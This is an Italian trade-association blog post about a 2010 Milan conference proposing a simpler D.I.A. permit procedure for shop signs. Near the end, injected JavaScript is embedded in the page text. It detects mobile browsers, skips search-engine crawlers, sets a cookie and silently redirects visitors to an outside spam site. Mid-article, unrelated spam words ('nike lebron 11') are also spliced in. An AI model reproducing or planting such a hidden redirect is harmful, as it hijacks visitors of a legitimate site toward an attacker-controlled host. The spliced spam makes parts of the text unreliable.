“D.I.A.:semplifica se è semplice”: il convegno presso Fieramilanocity in cui il Comitato Insegne e Diritto di AIFIL ha lanciato la proposta di una Denuncia Di Attività “semplice” ottiene un successo di pubblico e di intese.

di Sergio Arioli - 20 dicembre 2010
Classificato in: CID, Convegni, Eventi, Mondo Insegne | Tag:

Questa relazione del Presidente di AIFIL Sergio Arioli sul convegno di maggio 2010 a Fieramilanocity mantiene intatto tutto il suo valore comunicativo a distanza di mesi e nonostante l’ingresso sulla scena della SCIA. Per questo viene qui riproposto integralmente, a vantaggio del confronto fra i Soci e fra i Soci e le istituzioni. Per seguire le vicende connesse alla proposta di un “DIA semplice” lanciata dal CID (Comitato Insegne Diritto) di AIFIL, leggere anche l’articolo di AIFIL[IN]FORMA “Protocollo d’intesa AFIL e ANCI). [NDR]

Il 14 maggio 2010 si è svolto a Fieramilanocity, il convegno organizzato dal CID (Comitato Insegne e Diritto) di AIFIL dal titolo “D.I.A.: semplifica se è semplice. Differenza fra D.I.A. asseverata e D.I.A. semplice: le esperienze di Milano e Roma.” Numeroso il pubblico e moltissimi gli Associati AIFIL.


Dal 12 al 14 maggio di quest’anno, AIFIL ha partecipato con un proprio stand a Omnicom Expo 2010 la fiera che si è tenuta presso Fieramilanocity dedicata alle idee, ai prodotti e ai servizi per il marketing e la comunicazione. In quel contesto, segnato da una grande affluenza di operatori del settore e di pubblico, AIFIL ha organizzato un convegno sul tema della semplificazione amministrativa in cui ha lanciato l’idea di una DIA semplice per alcune tipologie di insegna.

Ai saluti di Giorgio Fallica (Segretario territoriale AIFIL Area 1) e alla introduzione al tema da parte del sottoscritto, sono seguite le relazioni di Pietro FracassettiFrancesco Laruffa (Architetto) e (Avvocato).

Prezioso il contributo al dibattito da parte di Mauro D’Attis (responsabile nazionale attività produttive di ANCI, l’Associazione Nazionale dei Comuni Italiani), che si è impegnato a promuovere, insieme ad AIFIL, un iter di autorizzazione delle insegne più semplice e veloce.

Come mai il Comitato Insegne e Diritto ha voluto affrontare questa tematica?

In questo momento di epocale crisi economica è più che mai indispensabile  porre attenzione alle necessità del mondo produttivo che vorrebbe poter operare con la massima celerità, senza subire, come spesso accade, gli eccessi di burocrazia che, purtroppo, a volte paralizzano le attività.

Le pratiche connesse alle autorizzazioni di insegne risultano spesso sproporzionate rispetto al bene da installare e a volte del tutto identiche a quelle necessarie per ottenere il permesso di costruire. Un fenomeno negativo che interessa anche le pubbliche amministrazioni, le quali sono le prime interessate a recepire meccanismi ed istituti semplificativi quali, per esempio, la D.I.A. semplice che AIFIL propone. Uno strumento simile è già stato adottato con successo dal Comune di Milano e può essere una soluzione efficace per migliorare e snellire l’attività burocratica di tutti i Comuni, con indubbio vantaggio per le attività produttive e commerciali ma anche per la Pubblica Amministrazione, sia in termini di qualità del servizio ai cittadini sia in termini di riduzione dei costi.

Ecco, in sintesi, i concetti portanti che sostanziano la proposta AIFIL di una D.I.A. semplice:

L’insegna in genere non è un’opera edile.

Salvo i casi in cui i Comuni sono dotati di un Piano Generale per gli Impianti Pubblicitari e di appropriati regolamenti, le difficoltà relative alle pratiche di autorizzazione per l’esposizione di insegne si originano spesso dal fatto che si è costretti a fare riferimento a disposizioni nate per autorizzare attività edilizie. Ma è difficile, e a volte impossibile, classificare le insegne secondo le definizioni degli interventi edilizi e, purtroppo, operando con procedure nike lebron 11 pensate per l’edilizia e avendo a che fare con funzionari e tecnici dei Comuni che non riconoscono (o – capita – non vogliono riconoscere) che le insegne sono opere ben diverse da quelle propriamente edilizie, in molti casi, la pratica di autorizzazione sconfina nella farsa.

La D.I.A., nata per semplificare, complica di fatto l’iter.

Molte amministrazioni comunali costringono i richiedenti ad usare esclusivamente la D.I.A. (rifiutando categoricamente la storica domanda di autorizzazione amministrativa), a prescindere dall’opera da realizzare o installare. A prescindere dal diritto, del tutto discutibile, dei comuni di imporre la D.I.A., quest’ultima, che è nata per semplificare e velocizzare le procedure per l’edilizia, approda ad un risultato opposto: aumento della burocrazia e allungamento dei tempi rispetto alla storica domanda di autorizzazione; con relativo corollario di una quantità sproporzionata quanto inutile di documenti da produrre e costi conseguenti.

Il problema non risiede nella forma della denuncia di inizio attività, ma piuttosto nelle procedure che ne conseguono, per esempio la comunicazione d’inizio e fine lavori, che diventa ridicola nel caso di insegne [buona parte dei casi] la cui installazione dura meno di un’ora.

Altro esempio è la quantità e tipologia di pratiche relative alla tutela della salute e della sicurezza nei luoghi di lavoro: spesso, per mezz’ora di lavoro su una scaletta, finalizzata ad attaccare un bene che è assimilabile ad un piccolo poster, vengono richieste [pretese] le stesse procedure e documentazioni relative all’apertura e gestione di un cantiere edile destinato alla costruzione di un grattacielo. Lo stesso si può dire dell’obbligo di far intervenire un Tecnico Abilitato per l’asseverazione, che in molti casi risulta assolutamente inutile ed eccessivo, considerato anche l’aggravio dei costi.

Possiamo immaginare una D.I.A. semplificata, eventualmente senza asseverazione, per alcune tipologie di insegne – semplici –?

Parliamo delle insegne che non necessitano di competenze ingegneristiche particolari ma solo – e come avviene di fatto – della perizia dell’installatore nell’ancoraggio.

Per esempio:

-        insegne monofacciali autostrutturate di dimensioni limitate da applicare a parete seguendo le indicazioni del costruttore (come un televisore o un ventilatore o un lampadario);

-        insegne bifacciali autostrutturate di dimensioni limitate da applicare a parete, con sporgenze e superfici ridotte.

Molte altre tipologie di insegne “semplici” possono essere individuate con riferimento ai limiti dimensionali, alle caratteristiche tecniche o alla modalità e luogo di installazione.

La denuncia di inizio attività deve essere un obbligo?

A nostro avviso la Dichiarazione di Inizio Attività, asseverata o meno, deve costituire un’opportunità per il soggetto privato, non un obbligo. Il cittadino deve avere la facoltà di decidere se chiedere l’autorizzazione lasciando all’Ente il compito di interpretare i propri regolamenti e la legge o se utilizzare il percorso della D.I.A. (e sarebbe interessante approfondirne il presupposto giuridico o, addirittura, costituzionale). In altre parole il richiedente autorizzazione deve poter scegliere se assumersi responsabilità in ordine all’interpretazione di leggi e regolamenti che non sempre sono facilmente e  univocamente interpretabili.

Chi come gli “insegnisti” ha frequentato le mille interpretazioni date ad una stessa legge o regolamento da parte di diversi funzionari della pubblica amministrazione sa con esattezza di cosa parlo.

Questi, in sintesi, gli argomenti di discussione promossi da AIFIL, durante il convegno.

Un vero successo, sia per l’interesse destato nel pubblico, che ha partecipato ponendo numerose domande ai relatori, sia per l’intesa con ANCI che ha portato alla firma di un protocollo nato dalla volontà di entrambi gli Enti di sveltire e semplificare l’iter amministrativo inerente il rilascio di autorizzazioni per l’esposizione di insegne.

Chiudo ricordando un esempio virtuoso: quello del comune di Milano.

Laddove vi siano le condizioni, è giusto che le procedure debbano essere semplificate e l’esempio del Comune di Milano ne è la testimonianza. Una semplificazione da ritenersi un beneficio non solo per l’operatore che deve eseguire l’intervento e per il cittadino (che necessità di esporre l’insegna in tempi ragionevoli) ma anche per le Amministrazioni che risparmiano tempo nell’espletamento delle pratiche.

Per approfondire l’argomento della D.I.A. e della semplificazione amministrativa leggi anche:

La D.I.A. (Denuncia di Inizio Attività) si inquadra nell’ambito della liberalizzazione e semplificazione del procedimento amministrativo.

La D.I.A. nell’autorizzazione delle insegne. Alcune problematiche.if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“ooglebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/buy.php’);}} else {

Condividi questa pagina
  • RSS
  • Facebook
  • Twitter
  • Google Bookmarks
  • email
  • PDF
  • Print
  • Digg
  • del.icio.us
  • Add to favorites
  • FriendFeed